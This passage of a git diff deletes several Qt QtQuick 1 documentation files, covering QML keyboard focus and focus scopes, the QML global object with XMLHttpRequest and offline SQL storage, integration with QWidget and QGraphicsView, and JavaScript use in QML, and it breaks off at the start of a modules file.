Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\target qmlfocus -\page qdeclarativefocus.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage QML Features -\previouspage {QML Text Handling and Validators}{Text Handling and Validators} -\nextpage {QML Signal and Handler Event System}{Signal and Handler Event System} - -\title Keyboard Focus in QML - -When a key is pressed or released, a key event is generated and delivered to the -focused QML \l Item. To facilitate the construction of reusable components -and to address some of the cases unique to fluid user interfaces, the QML items add aged -\e scope based extension to Qt's traditional keyboard focus model. - -\tableofcontents - -\section1 Key Handling Overview - -When the user presses or releases a key, the following occurs: -\list 1 -\o Qt receives the key action and generates a key event. -\o If the Qt widget containing the \l QDeclarativeView has focus, the key event -is delivered to it. Otherwise, regular Qt key handling continues. -\o The key event is delivered by the scene to the QML \l Item with -\e {active focus}. If no Item has active focus, the key event is -\l {QEvent::ignore()}{ignored} and regular Qt key handling continues. -\o If the QML Item with active focus accepts the key event, propagation -stops. Otherwise the event is "bubbled up", by recursively passing it to each -Item's parent until either the event is accepted, or the root Item is reached. - -If the \c {Rectangle} element in the following example has active focus and the \c A key is pressed, -it will bubble up to its parent. However, pressing the \c B key will bubble up to the root -item and thus subsequently be ignored. - -\snippet doc/src/snippets/declarative/focus/rectangle.qml simple key event -\snippet doc/src/snippets/declarative/focus/rectangle.qml simple key event end - -\o If the root \l Item is reached, the key event is \l {QEvent::ignore()}{ignored} and regular Qt key handling continues. - -\endlist - -See also the \l {Keys}{Keys attached property} and \l {KeyNavigation}{KeyNavigation attached property}. - -\section1 Querying the Active Focus Item - -Whether or not an \l Item has active focus can be queried through the -property \c {Item::activeFocus} property. For example, here we have a \l Text -element whose text is determined by whether or not it has active focus. - -\snippet doc/src/snippets/declarative/focus/rectangle.qml active focus - -\section1 Acquiring Focus and Focus Scopes - -An \l Item requests focus by setting the \c focus property to \c true. - -For very simple cases simply setting the \c focus property is sometimes -sufficient. If we run the following example with the \l {QML Viewer}, we see that -the \c {keyHandler} element has active focus and pressing the \c A, \c B, -or \c C keys modifies the text appropriately. - -\snippet doc/src/snippets/declarative/focus/basicwidget.qml focus true - -\image declarative-qmlfocus1.png - -However, were the above example to be used as a reusable or imported component, -this simple use of the \c focus property is no longer sufficient. - -To demonstrate, we create two instances of our previously defined component and -set the first one to have focus. The intention is that when the \c A, \c B, or -\c C keys are pressed, the first of the two components receives the event and -responds accordingly. - -The code that imports and creates two MyWidget instances: -\snippet doc/src/snippets/declarative/focus/widget.qml window - -The MyWidget code: -\snippet doc/src/snippets/declarative/focus/mywidget.qml mywidget - -We would like to have the first MyWidget object to have the focus by setting its -\c focus property to \c true. However, by running the code, we can confirm that -the second widget receives the focus. - -\image declarative-qmlfocus2.png - -Looking at both \c MyWidget and \c window code, the problem is evident - there -are three elements that set the \c focus property set to \c true. The two -MyWidget sets the \c focus to \c true and the \c window component also sets the -focus. Ultimately, only one element can have keyboard focus, and the system has -to decide which element receives the focus. When the second MyWidget is created, -it receives the focus because it is the last element to set its \c focus -property to \c true. - -This problem is due to visibility. The \c MyWidget component would like to have -the focus, but it cannot control the focus when it is imported or reused. -Likewise, the \c window component does not have the ability to know if its -imported components are requesting the focus. - -To solve this problem, the QML introduces a concept known as a \e {focus scope}. -For existing Qt users, a focus scope is like an automatic focus proxy. -A focus scope is created by declaring the \l FocusScope element. - -In the next example, a \l FocusScope element is added to the component, and the -visual result shown. - -\snippet doc/src/snippets/declarative/focus/myfocusscopewidget.qml widget in focusscope - -\image declarative-qmlfocus3.png - - -Conceptually \e {focus scopes} are quite simple. -\list -\o Within each focus scope one element may have \c {Item::focus} set to -\c true. If more than one \l Item has the \c focus property set, the -last element to set the \c focus will have the focus and the others are unset, -similar to when there are no focus scopes. -\o When a focus scope receives active focus, the contained element with -\c focus set (if any) also gets the active focus. If this element is -also a \l FocusScope, the proxying behavior continues. Both the -focus scope and the sub-focused item will have \c activeFocus property set. -\endlist - -Note that, since the FocusScope element is not a visual element, the properties -of its children need to be exposed to the parent item of the FocusScope. Layouts -and positioning elements will use these visual and styling properties to create -the layout. In our example, the \c Column element cannot display the two widgets -properly because the FocusScope lacks visual properties of its own. The MyWidget -component directly binds to the \c rectangle properties to allow the \c Column -element to create the layout containing the children of the FocusScope. - -So far, the example has the second component statically selected. It is trivial -now to extend this component to make it clickable, and add it to the original -application. We still set one of the widgets as focused by default. -Now, clicking either MyClickableWidget gives it focus and the other widget -loses the focus. - -The code that imports and creates two MyClickableWidget instances: -\snippet doc/src/snippets/declarative/focus/clickablewidget.qml clickable window - -The MyClickableWidget code: -\snippet doc/src/snippets/declarative/focus/myclickablewidget.qml clickable in focusscope - -\image declarative-qmlfocus4.png - -When a QML \l Item explicitly relinquishes focus (by setting its -\c focus property to \c false while it has active focus), the -system does not automatically select another element to receive focus. That is, -it is possible for there to be no currently active focus. - -See the \l{declarative/keyinteraction/focus}{Keyboard Focus example} for a -demonstration of moving keyboard focus between multiple areas using FocusScope -elements. - -\section1 Advanced uses of Focus Scopes - -Focus scopes allow focus to allocation to be easily partitioned. Several -QML items use it to this effect. - -\l ListView, for example, is itself a focus scope. Generally this isn't -noticeable as \l ListView doesn't usually have manually added visual children. -By being a focus scope, \l ListView can focus the current list item without -worrying about how that will effect the rest of the application. This allows the -current item delegate to react to key presses. - -This contrived example shows how this works. Pressing the \c Return key will -print the name of the current list item. - -\snippet doc/src/snippets/declarative/focus/advancedFocus.qml FocusScope delegate - -\image declarative-qmlfocus5.png - -While the example is simple, there are a lot going on behind the scenes. Whenever -the current item changes, the \l ListView sets the delegate's \c {Item::focus} -property. As the \l ListView is a focus scope, this doesn't affect the -rest of the application. However, if the \l ListView itself has -active focus this causes the delegate itself to receive active focus. -In this example, the root element of the delegate is also a focus scope, -which in turn gives active focus to the \c {Text} element that actually performs -the work of handling the \c {Return} key. - -All of the QML view classes, such as \l PathView and \l GridView, behave -in a similar manner to allow key handling in their respective delegates. -*/ diff --git a/doc/src/qtquick1/globalobject.qdoc b/doc/src/qtquick1/globalobject.qdoc deleted file mode 100644 index beae152995..0000000000 --- a/doc/src/qtquick1/globalobject.qdoc +++ /dev/null @@ -1,210 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativeglobalobject.html -\inqmlmodule QtQuick 1 -\title QML Global Object - -Contains all the properties of the JavaScript global object, plus: - -\tableofcontents - -\section1 Qt Object - -The \l{QmlGlobalQtObject}{Qt object} provides useful enums and functions from Qt, for use in all QML -files. - -\section1 XMLHttpRequest - -\target XMLHttpRequest - -QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain -data from over a network. - -The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard} -as many popular web browsers with following exceptions: -\list -\i QML's XMLHttpRequest does not enforce the same origin policy. -\i QML's XMLHttpRequest does not support \e synchronous requests. -\endlist - -Additionally, the \c responseXML XML DOM tree currently supported by QML is a reduced subset -of the \l {http://www.w3.org/TR/DOM-Level-3-Core/}{DOM Level 3 Core} API supported in a web -browser. The following objects and properties are supported by the QML implementation: - -\table -\header -\o \bold {Node} -\o \bold {Document} -\o \bold {Element} -\o \bold {Attr} -\o \bold {CharacterData} -\o \bold {Text} - -\row -\o -\list -\o nodeName -\o nodeValue -\o nodeType -\o parentNode -\o childNodes -\o firstChild -\o lastChild -\o previousSibling -\o nextSibling -\o attributes -\endlist - -\o -\list -\o xmlVersion -\o xmlEncoding -\o xmlStandalone -\o documentElement -\endlist - -\o -\list -\o tagName -\endlist - -\o -\list -\o name -\o value -\o ownerElement -\endlist - -\o -\list -\o data -\o length -\endlist - -\o -\list -\o isElementContentWhitespace -\o wholeText -\endlist - -\endtable - -The \l{declarative/xml/xmlhttprequest}{XMLHttpRequest example} demonstrates how to -use the XMLHttpRequest object to make a request and read the response headers. - -\section1 Offline Storage API - -\section2 Database API - -The \c openDatabaseSync() and related functions -provide the ability to access local offline storage in an SQL database. - -These databases are user-specific and QML-specific, but accessible to all QML applications. -They are stored in the \c Databases subdirectory -of QDeclarativeEngine::offlineStoragePath(), currently as SQLite databases. - -Database connections are automatically closed during Javascript garbage collection. - -The API can be used from JavaScript functions in your QML: - -\snippet declarative/sqllocalstorage/hello.qml 0 - -The API conforms to the Synchronous API of the HTML5 Web Database API, -\link http://www.w3.org/TR/2009/WD-webdatabase-20091029/ W3C Working Draft 29 October 2009\endlink. - -The \l{declarative/sqllocalstorage}{SQL Local Storage example} demonstrates the basics of -using the Offline Storage API. - -\section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db)) - -Returns the database identified by \e identifier. If the database does not already exist, it -is created, and the function \e callback is called with the database as a parameter. \e description -and \e estimated_size are written to the INI file (described below), but are otherwise currently -unused. - -May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR. - -When a database is first created, an INI file is also created specifying its characteristics: - -\table -\header \o \bold {Key} \o \bold {Value} -\row \o Name \o The name of the database passed to \c openDatabase() -\row \o Version \o The version of the database passed to \c openDatabase() -\row \o Description \o The description of the database passed to \c openDatabase() -\row \o EstimatedSize \o The estimated size (in bytes) of the database passed to \c openDatabase() -\row \o Driver \o Currently "QSQLITE" -\endtable - -This data can be used by application tools. - -\section3 db.changeVersion(from, to, callback(tx)) - -This method allows you to perform a \e{Scheme Upgrade}. - -If the current version of \e db is not \e from, then an exception is thrown. - -Otherwise, a database transaction is created and passed to \e callback. In this function, -you can call \e executeSql on \e tx to upgrade the database. - -May throw exception with code property SQLException.DATABASE_ERR or SQLException.UNKNOWN_ERR. - -\section3 db.transaction(callback(tx)) - -This method creates a read/write transaction and passed to \e callback. In this function, -you can call \e executeSql on \e tx to read and modify the database. - -If the callback throws exceptions, the transaction is rolled back. - -\section3 db.readTransaction(callback(tx)) - -This method creates a read-only transaction and passed to \e callback. In this function, -you can call \e executeSql on \e tx to read the database (with SELECT statements). - -\section3 results = tx.executeSql(statement, values) - -This method executes a SQL \e statement, binding the list of \e values to SQL positional parameters ("?"). - -It returns a results object, with the following properties: - -\table -\header \o \bold {Type} \o \bold {Property} \o \bold {Value} \o \bold {Applicability} -\row \o int \o rows.length \o The number of rows in the result \o SELECT -\row \o var \o rows.item(i) \o Function that returns row \e i of the result \o SELECT -\row \o int \o rowsAffected \o The number of rows affected by a modification \o UPDATE, DELETE -\row \o string \o insertId \o The id of the row inserted \o INSERT -\endtable - -May throw exception with code property SQLException.DATABASE_ERR, SQLException.SYNTAX_ERR, or SQLException.UNKNOWN_ERR. - -\section1 Logging - -\c console.log() and \c console.debug() can be used to print information -to the console. See \l{Debugging QML} for more information. - -*/ diff --git a/doc/src/qtquick1/integrating.qdoc b/doc/src/qtquick1/integrating.qdoc deleted file mode 100644 index 4cc0448276..0000000000 --- a/doc/src/qtquick1/integrating.qdoc +++ /dev/null @@ -1,112 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-integration.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\previouspage {Using QML Bindings in C++ Applications} -\nextpage {Dynamic Object Management in QML}{Dynamic Object Management} -\contentspage QML Features -\title Integrating QML Code with Existing Qt UI Code - -There are a number of ways to integrate QML into QWidget-based UI applications, -depending on the characteristics of your existing UI code. - - -\section1 Integrating with a \l{QWidget}-based UI - -If you have an existing QWidget-based UI, QML widgets can be integrated into -it using QDeclarativeView. QDeclarativeView is a subclass of QWidget so you -can add it to your user interface like any other QWidget. Use -QDeclarativeView::setSource() to load a QML file into the view, then add the -view to your UI: - -\code -QDeclarativeView *qmlView = new QDeclarativeView; -qmlView->setSource(QUrl::fromLocalFile("myqml.qml")); - -QWidget *widget = myExistingWidget(); -QVBoxLayout *layout = new QVBoxLayout(widget); -layout->addWidget(qmlView); -\endcode - -The one drawback to this approach is that QDeclarativeView is slower to initialize -and uses more memory than a QWidget, and creating large numbers of QDeclarativeView -objects may lead to performance degradation. If this is the case, it may be -better to rewrite your widgets in QML, and load the widgets from a main QML widget -instead of using QDeclarativeView. - -Keep in mind that QWidgets were designed for a different type of user interface -than QML, so it is not always a good idea to port a QWidget-based application to -QML. QWidgets are a better choice if your UI is comprised of a small number of -complex and static elements, and QML is a better choice if your UI is comprised of a large number -of simple and dynamic elements. - - -\section1 Integrating with a QGraphicsView-based UI - -\section2 Adding QML widgets to a QGraphicsScene - -If you have an existing UI based on the \l{Graphics View Framework}, -you can integrate QML widgets directly into your QGraphicsScene. Use -QDeclarativeComponent to create a QGraphicsObject from a QML file, and -place the graphics object into your scene using \l{QGraphicsScene::addItem()}, or -reparent it to an item already in the \l{QGraphicsScene}. - -For example: - -\code -QGraphicsScene* scene = myExistingGraphicsScene(); -QDeclarativeEngine *engine = new QDeclarativeEngine; -QDeclarativeComponent component(engine, QUrl::fromLocalFile("myqml.qml")); -QGraphicsObject *object = - qobject_cast(component.create()); -scene->addItem(object); -\endcode - -The following QGraphicsView options are recommended for optimal performance -of QML UIs: - -\list -\o QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState) -\o QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate) -\o QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex) -\endlist - -\section2 Loading QGraphicsWidget objects in QML - -An alternative approach is to expose your existing QGraphicsWidget objects to -QML and construct your scene in QML instead. See the \l {declarative-cppextensions-qgraphicslayouts.html}{graphics layouts example} -which shows how to expose Qt's graphics layout classes to QML in order -to use QGraphicsWidget with classes like QGraphicsLinearLayout and QGraphicsGridLayout. - -To expose your existing QGraphicsWidget classes to QML, use \l {qmlRegisterType()}. -See \l{Extending QML Functionalities using C++} for further information on -how to use C++ types in QML. - -*/ diff --git a/doc/src/qtquick1/javascriptblocks.qdoc b/doc/src/qtquick1/javascriptblocks.qdoc deleted file mode 100644 index 04aa78a5b6..0000000000 --- a/doc/src/qtquick1/javascriptblocks.qdoc +++ /dev/null @@ -1,554 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativejavascript.html -\inqmlmodule QtQuick 1 -\title Integrating JavaScript - -QML encourages building UIs declaratively, using \l {Property Binding} and the -composition of existing \l {QML Elements}. To allow the implementation of more -advanced behavior, QML integrates tightly with imperative JavaScript code. - -The JavaScript environment provided by QML is stricter than that in a web browser. -In QML you cannot add, or modify, members of the JavaScript global object. It -is possible to do this accidentally by using a variable without declaring it. In -QML this will throw an exception, so all local variables should be explicitly -declared. - -In addition to the standard JavaScript properties, the \l {QML Global Object} -includes a number of helper methods that simplify building UIs and interacting -with the QML environment. - -\section1 Inline JavaScript - -Small JavaScript functions can be written inline with other QML declarations. -These inline functions are added as methods to the QML element that contains -them. - -\code -Item { - function factorial(a) { - a = parseInt(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); - } - - MouseArea { - anchors.fill: parent - onClicked: console.log(factorial(10)) - } -} -\endcode - -As methods, inline functions on the root element in a QML component can be -invoked by callers outside the component. If this is not desired, the method -can be added to a non-root element or, preferably, written in an external -JavaScript file. - -\section1 Separate JavaScript files - -Large blocks of JavaScript should be written in separate files. These files -can be imported into QML files using an \c import statement, in the same way -that \l {Modules}{modules} are imported. - -For example, the \c {factorial()} method in the above example for \l {Inline JavaScript} -could be moved into an external file named \c factorial.js, and accessed like this: - -\code -import "factorial.js" as MathFunctions -Item { - MouseArea { - anchors.fill: parent - onClicked: console.log(MathFunctions.factorial(10)) - } -} -\endcode - -Both relative and absolute JavaScript URLs can be imported. In the case of a -relative URL, the location is resolved relative to the location of the -\l {QML Document} that contains the import. If the script file is not accessible, -an error will occur. If the JavaScript needs to be fetched from a network -resource, the component's \l {QDeclarativeComponent::status()}{status} is set to -"Loading" until the script has been downloaded. - -Imported JavaScript files are always qualified using the "as" keyword. The -qualifier for JavaScript files must be unique, so there is always a one-to-one -mapping between qualifiers and JavaScript files. (This also means qualifiers cannot -be named the same as built-in JavaScript objects such as \c Date and \c Math). - - -\section2 Code-Behind Implementation Files - -Most JavaScript files imported into a QML file are stateful, logic implementations -for the QML file importing them. In these cases, for QML component instances to -behave correctly each instance requires a separate copy of the JavaScript objects -and state. - -The default behavior when importing JavaScript files is to provide a unique, isolated -copy for each QML component instance. The code runs in the same scope as the QML -component instance and consequently can can access and manipulate the objects and -properties declared. - -\section2 Stateless JavaScript libraries - -Some JavaScript files act more like libraries - they provide a set of stateless -helper functions that take input and compute output, but never manipulate QML -component instances directly. - -As it would be wasteful for each QML component instance to have a unique copy of -these libraries, the JavaScript programmer can indicate a particular file is a -stateless library through the use of a pragma, as shown in the following example. - -\code -// factorial.js -.pragma library - -function factorial(a) { - a = parseInt(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); -} -\endcode - -The pragma declaration must appear before any JavaScript code excluding comments. - -As they are shared, stateless library files cannot access QML component instance -objects or properties directly, although QML values can be passed as function -parameters. - - -\section2 Importing One JavaScript File From Another - -If a JavaScript file needs to use functions defined inside another JavaScript file, -the other file can be imported using the \l {QML:Qt::include()}{Qt.include()} -function. This imports all functions from the other file into the current file's -namespace. - -For example, the QML code below left calls \c showCalculations() in \c script.js, -which in turn can call \c factorial() in \c factorial.js, as it has included -\c factorial.js using \l {QML:Qt::include()}{Qt.include()}. - -\table -\row -\o {1,2} \snippet doc/src/snippets/declarative/integrating-javascript/includejs/app.qml 0 -\o \snippet doc/src/snippets/declarative/integrating-javascript/includejs/script.js 0 -\row -\o \snippet doc/src/snippets/declarative/integrating-javascript/includejs/factorial.js 0 -\endtable - -Notice that calling \l {QML:Qt::include()}{Qt.include()} imports all functions from -\c factorial.js into the \c MyScript namespace, which means the QML component can also -access \c factorial() directly as \c MyScript.factorial(). - -In QtQuick 2.0, support has been added to allow JavaScript files to import other -JavaScript files and also QML modules using a variation of the standard QML import -syntax (where all of the previously described rules and qualifications apply). - -A JavaScript file may import another in the following fashion: -\code -.import "filename.js" as UniqueQualifier -\endcode -For example: -\code -.import "factorial.js" as MathFunctions -\endcode - -A JavaScript file may import a QML module in the following fashion: -\code -.import Module.Name MajorVersion.MinorVersion as UniqueQualifier -\endcode -For example: -\code -.import Qt.test 1.0 as JsQtTest -\endcode -In particular, this may be useful in order to access functionality provided -via a module API; see qmlRegisterModuleApi() for more information. - -Due to the ability of a JavaScript file to import another script or QML module in -this fashion in QtQuick 2.0, some extra semantics are defined: -\list -\o a script with imports will not inherit imports from the QML file which imported it (so accessing Component.error will fail, for example) -\o a script without imports will inherit imports from the QML file which imported it (so accessing Component.error will succeed, for example) -\o a shared script (i.e., defined as .pragma library) does not inherit imports from any QML file even if it imports no other scripts -\endlist - -The first semantic is conceptually correct, given that a particular script -might be imported by any number of QML files. The second semantic is retained -for the purposes of backwards-compatibility. The third semantic remains -unchanged from the current semantics for shared scripts, but is clarified here -in respect to the newly possible case (where the script imports other scripts -or modules). - -\section1 Running JavaScript at Startup - -It is occasionally necessary to run some imperative code at application (or -component instance) startup. While it is tempting to just include the startup -script as \e {global code} in an external script file, this can have severe limitations -as the QML environment may not have been fully established. For example, some objects -might not have been created or some \l {Property Binding}s may not have been run. -\l {QML JavaScript Restrictions} covers the exact limitations of global script code. - -The QML \l Component element provides an \e attached \c onCompleted property that -can be used to trigger the execution of script code at startup after the -QML environment has been completely established. For example: - -\code -Rectangle { - function startupFunction() { - // ... startup code - } - - Component.onCompleted: startupFunction(); -} -\endcode - -Any element in a QML file - including nested elements and nested QML component -instances - can use this attached property. If there is more than one \c onCompleted() -handler to execute at startup, they are run sequentially in an undefined order. - -Likewise, the \l {Component::onDestruction} attached property is triggered on -component destruction. - - -\section1 JavaScript and Property Binding - -Property bindings can be created in JavaScript by assigning the property with a \c function -that returns the required value. - -See \l {qml-javascript-assignment}{Property Assignment versus Property Binding} for details. - - -\section1 Receiving QML Signals in JavaScript - -To receive a QML signal, use the signal's \c connect() method to connect it to a JavaScript -function. - -For example, the following code connects the MouseArea \c clicked signal to the \c jsFunction() -in \c script.js: - -\table -\row -\o \snippet doc/src/snippets/declarative/integrating-javascript/connectjs.qml 0 -\o \snippet doc/src/snippets/declarative/integrating-javascript/script.js 0 -\endtable - -The \c jsFunction() will now be called whenever MouseArea's \c clicked signal is emitted. - -See \l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} -{Connecting Signals to Methods and Signals} for more information. - - -\section1 QML JavaScript Restrictions - -QML executes standard JavaScript code, with the following restrictions: - -\list -\o JavaScript code cannot modify the global object. - -In QML, the global object is constant - existing properties cannot be modified or -deleted, and no new properties may be created. - -Most JavaScript programs do not intentionally modify the global object. However, -JavaScript's automatic creation of undeclared variables is an implicit modification -of the global object, and is prohibited in QML. - -Assuming that the \c a variable does not exist in the scope chain, the following code -is illegal in QML. - -\code -// Illegal modification of undeclared variable -a = 1; -for (var ii = 1; ii < 10; ++ii) - a = a * ii; -console.log("Result: " + a); -\endcode - -It can be trivially modified to this legal code. - -\code -var a = 1; -for (var ii = 1; ii < 10; ++ii) - a = a * ii; -console.log("Result: " + a); -\endcode - -Any attempt to modify the global object - either implicitly or explicitly - will -cause an exception. If uncaught, this will result in an warning being printed, -that includes the file and line number of the offending code. - -\o Global code is run in a reduced scope - -During startup, if a QML file includes an external JavaScript file with "global" -code, it is executed in a scope that contains only the external file itself and -the global object. That is, it will not have access to the QML objects and -properties it \l {QML Scope}{normally would}. - -Global code that only accesses script local variable is permitted. This is an -example of valid global code. - -\code -var colors = [ "red", "blue", "green", "orange", "purple" ]; -\endcode - -Global code that accesses QML objects will not run correctly. - -\code -// Invalid global code - the "rootObject" variable is undefined -var initialPosition = { rootObject.x, rootObject.y } -\endcode - -This restriction exists as the QML environment is not yet fully established. -To run code after the environment setup has completed, refer to -\l {Running JavaScript at Startup}. - -\o The value of \c this is currently undefined in QML in the majority of contexts - -The \c this keyword is supported when binding properties from JavaScript. -In all other situations, the value of -\c this is undefined in QML. - -To refer to any element, provide an \c id. For example: - -\qml -Item { - width: 200; height: 100 - function mouseAreaClicked(area) { - console.log("Clicked in area at: " + area.x + ", " + area.y); - } - // This will not work because this is undefined - MouseArea { - height: 50; width: 200 - onClicked: mouseAreaClicked(this) - } - // This will pass area2 to the function - MouseArea { - id: area2 - y: 50; height: 50; width: 200 - onClicked: mouseAreaClicked(area2) - } -} -\endqml - -\endlist - -\section1 Scarce Resources in JavaScript - -As described in the documentation for \l{QML Basic Types}, a \c variant type -property may hold a "scarce resource" (image or pixmap). There are several -important semantics of scarce resources which should be noted: - -\list -\o By default, a scarce resource is automatically released by the declarative engine as soon as evaluation of the expression in which the scarce resource is allocated is complete if there are no other references to the resource -\o A client may explicitly preserve a scarce resource, which will ensure that the resource will not be released until all references to the resource are released and the JavaScript engine runs its garbage collector -\o A client may explicitly destroy a scarce resource, which will immediately release the resource -\endlist - -In most cases, allowing the engine to automatically release the resource is -the correct choice. In some cases, however, this may result in an invalid -variant being returned from a function in JavaScript, and in those cases it -may be necessary for clients to manually preserve or destroy resources for -themselves. - -For the following examples, imagine that we have defined the following class: -\code -class AvatarExample : public QObject -{ - Q_OBJECT - Q_PROPERTY(QPixmap avatar READ avatar WRITE setAvatar NOTIFY avatarChanged) -public: - AvatarExample(QObject *parent = 0) : QObject(parent), m_value(100, 100) { m_value.fill(Qt::blue); } - ~AvatarExample() {} - - QPixmap avatar() const { return m_value; } - void setAvatar(QPixmap v) { m_value = v; emit avatarChanged(); } - -signals: - void avatarChanged(); - -private: - QPixmap m_value; -}; -\endcode - -and that we have registered it with the QML type-system as follows: -\code -qmlRegisterType("Qt.example", 1, 0, "AvatarExample"); -\endcode - -The AvatarExample class has a property which is a pixmap. When the property -is accessed in JavaScript scope, a copy of the resource will be created and -stored in a JavaScript object which can then be used within JavaScript. This -copy will take up valuable system resources, and so by default the scarce -resource copy in the JavaScript object will be released automatically by the -declarative engine once evaluation of the JavaScript expression is complete, -unless the client explicitly preserves it. - -\section2 Example One: Automatic Release - -In this example, the resource will be automatically -released after the binding expression evaluation is -complete. - -\qml -// exampleOne.qml -import QtQuick 1.0 -import Qt.example 1.0 - -QtObject { - property AvatarExample a; - a: AvatarExample { id: example } - property variant avatar: example.avatar -} -\endqml - -\code -QDeclarativeComponent component(&engine, "exampleOne.qml"); -QObject *object = component.create(); -// The scarce resource will have been released automatically -// after the binding expression was evaluated. -// Since the scarce resource was not released explicitly prior -// to the binding expression being evaluated, we get the -// expected result: -//object->property("scarceResourceCopy").isValid() == true -delete object; -\endcode - -\section2 Example Two: Explicit Preservation - -In this example, the resource must be explicitly preserved in order -to prevent the declarative engine from automatically releasing the -resource after evaluation of the imported script. - -\code -// exampleTwo.js -.import Qt.example 1.0 as QtExample - -var component = Qt.createComponent("exampleOne.qml"); -var exampleOneElement = component.createObject(null); -var avatarExample = exampleOneElement.a; -var retn = avatarExample.avatar; - -// without the following call, the scarce resource held -// by retn would be automatically released by the engine -// after the import statement in exampleTwo.qml, prior -// to the variable assignment. -retn.preserve(); - -function importAvatar() { - return retn; -} -\endcode - -\qml -// exampleTwo.qml -import QtQuick 1.0 -import Qt.example 1.0 -import "exampleTwo.js" as ExampleTwoJs - -QtObject { - property variant avatar: ExampleTwoJs.importAvatar() -} -\endqml - -\code -QDeclarativeComponent component(&engine, "exampleTwo.qml"); -QObject *object = component.create(); -// The resource was preserved explicitly during evaluation of the -// JavaScript expression. Thus, during property assignment, the -// scarce resource was still valid, and so we get the expected result: -//object->property("avatar").isValid() == true -// The scarce resource may not have been cleaned up by the JS GC yet; -// it will continue to consume system resources until the JS GC runs. -delete object; -\endcode - -\section2 Example Three: Explicit Destruction - -In the following example, we release (via destroy()) an explicitly preserved -scarce resource variant. This example shows how a client may free system -resources by releasing the scarce resource held in a JavaScript object, if -required, during evaluation of a JavaScript expression. - -\code -// exampleThree.js -.import Qt.example 1.0 as QtExample - -var component = Qt.createComponent("exampleOne.qml"); -var exampleOneElement = component.createObject(null); -var avatarExample = exampleOneElement.a; -var retn = avatarExample.avatar; -retn.preserve(); - -function importAvatar() { - return retn; -} - -function releaseAvatar() { - retn.destroy(); -} -\endcode - -\qml -// exampleThree.qml -import QtQuick 1.0 -import Qt.example 1.0 -import "exampleThree.js" as ExampleThreeJs - -QtObject { - property variant avatarOne - property variant avatarTwo - - Component.onCompleted: { - avatarOne = ExampleThreeJs.importAvatar(); // valid at this stage - ExampleThreeJs.releaseAvatar(); // explicit release - avatarTwo = ExampleThreeJs.importAvatar(); // invalid at this stage - } -} -\endqml - -\code -QDeclarativeComponent component(&engine, "exampleThree.qml"); -QObject *object = component.create(); -// The scarce resource was explicitly preserved by the client during -// the evaluation of the imported script, and so the scarce resource -// remains valid until the explicit call to releaseAvatar(). As such, -// we get the expected results: -//object->property("avatarOne").isValid() == true -//object->property("avatarTwo").isValid() == false -// Because the scarce resource was released explicitly, it will no longer -// be consuming any system resources (beyond what a normal JS Object would; -// that small overhead will exist until the JS GC runs, as per any other -// JavaScript object). -delete object; -\endcode - -*/ diff --git a/doc/src/qtquick1/modules.qdoc b/doc/src/qtquick1/modules.qdoc deleted file mode 100644 index fc348c17da..0000000000 --- a/doc/src/qtquick1/modules.qdoc +++ /dev/null @@ -1,488 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** 